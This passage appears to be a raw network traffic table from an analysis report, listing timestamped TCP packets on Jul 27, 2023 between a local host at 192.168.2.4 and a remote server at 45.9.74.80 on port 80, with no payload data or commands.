Jul 27, 2023 18:27:01.290369034 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290401936 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290421963 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290436029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290446997 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290471077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290493965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290504932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290548086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290560961 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290585041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290618896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290641069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290652990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290688038 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290719032 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290721893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290745020 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290756941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290767908 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290792942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290806055 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290826082 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290859938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290880919 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290894032 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290901899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.290940046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290975094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.290996075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291009903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291043997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291065931 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291079998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291090012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291115046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291147947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291166067 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291182995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291188955 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291217089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291230917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291253090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291291952 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291312933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291330099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291369915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291379929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291404009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291438103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291452885 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291472912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291506052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291537046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291541100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291579008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291590929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291615009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291652918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291672945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291692972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291714907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291728973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291735888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291764021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291779995 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291798115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291805029 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291832924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291866064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291878939 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291902065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291934967 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.291955948 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.291974068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292012930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292030096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292047024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292054892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292082071 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292114973 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292130947 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292149067 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292155981 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292217970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292253017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292305946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292305946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292315960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292351961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292386055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292402983 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292421103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292423964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292454958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292490005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292507887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292524099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292557001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292591095 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292593002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292628050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292642117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.292669058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.292720079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293186903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293231010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293268919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293302059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293315887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293315887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293335915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293344975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293370962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293404102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293418884 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293437958 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293443918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293473005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293488979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293505907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293543100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293567896 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293586016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293618917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293634892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293653011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293685913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293705940 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293720961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293754101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293768883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293787956 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293793917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.293823957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.293875933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.310971975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.311785936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316224098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316291094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316319942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316345930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316374063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316401005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316404104 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316427946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316445112 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316457033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316484928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316512108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316538095 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316567898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316595078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316621065 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316649914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316652060 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316678047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316704035 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316725969 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316734076 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316762924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316778898 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316792011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316819906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316843033 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316847086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316874981 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316886902 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316903114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316929102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316956043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316979885 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.316982985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.316999912 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317011118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317038059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317064047 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317079067 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317091942 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317112923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317126036 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317143917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317154884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317183018 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317208052 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317234039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317235947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317264080 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317286015 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317291021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317311049 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317318916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317346096 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317370892 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317373037 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317399979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317428112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317428112 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317456007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317482948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317503929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317509890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317539930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317569017 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317569971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317599058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317620039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317627907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317646027 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317656040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317684889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317711115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317737103 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317738056 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317765951 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317787886 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317792892 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317811966 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317821980 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317850113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317876101 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317899942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317902088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317929029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317940950 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.317955971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.317982912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318012953 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318048000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318075895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318116903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318125010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318137884 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318155050 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318181038 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318208933 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318218946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318236113 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318264008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318286896 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318289995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318352938 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318593979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318681955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318710089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318734884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318762064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318778992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318789959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318803072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318818092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318845034 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318871021 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318883896 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318898916 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318908930 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318928957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318953037 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.318955898 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.318984985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319001913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319001913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319013119 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319041014 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319051027 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319067955 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319083929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319083929 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319097042 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319124937 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319152117 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319183111 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319183111 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319200039 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319212914 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319227934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319255114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319279909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319297075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319297075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319308043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319336891 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319350004 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319350004 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319350958 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319365025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319392920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319400072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319421053 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319430113 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319451094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319478035 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319503069 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319504976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319529057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319535971 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319551945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319565058 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319590092 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319593906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319621086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319633961 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319648027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319655895 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319677114 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319689989 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319705963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319731951 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319753885 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319757938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319777012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319777012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319786072 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319812059 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319818974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319818974 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319839001 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319850922 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319866896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319869041 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319894075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319895029 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319922924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319931030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319950104 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.319969893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.319977999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320005894 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320015907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320015907 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320030928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.320040941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.320059061 CEST	80	49705	45.9.74.80	192.168.2.4
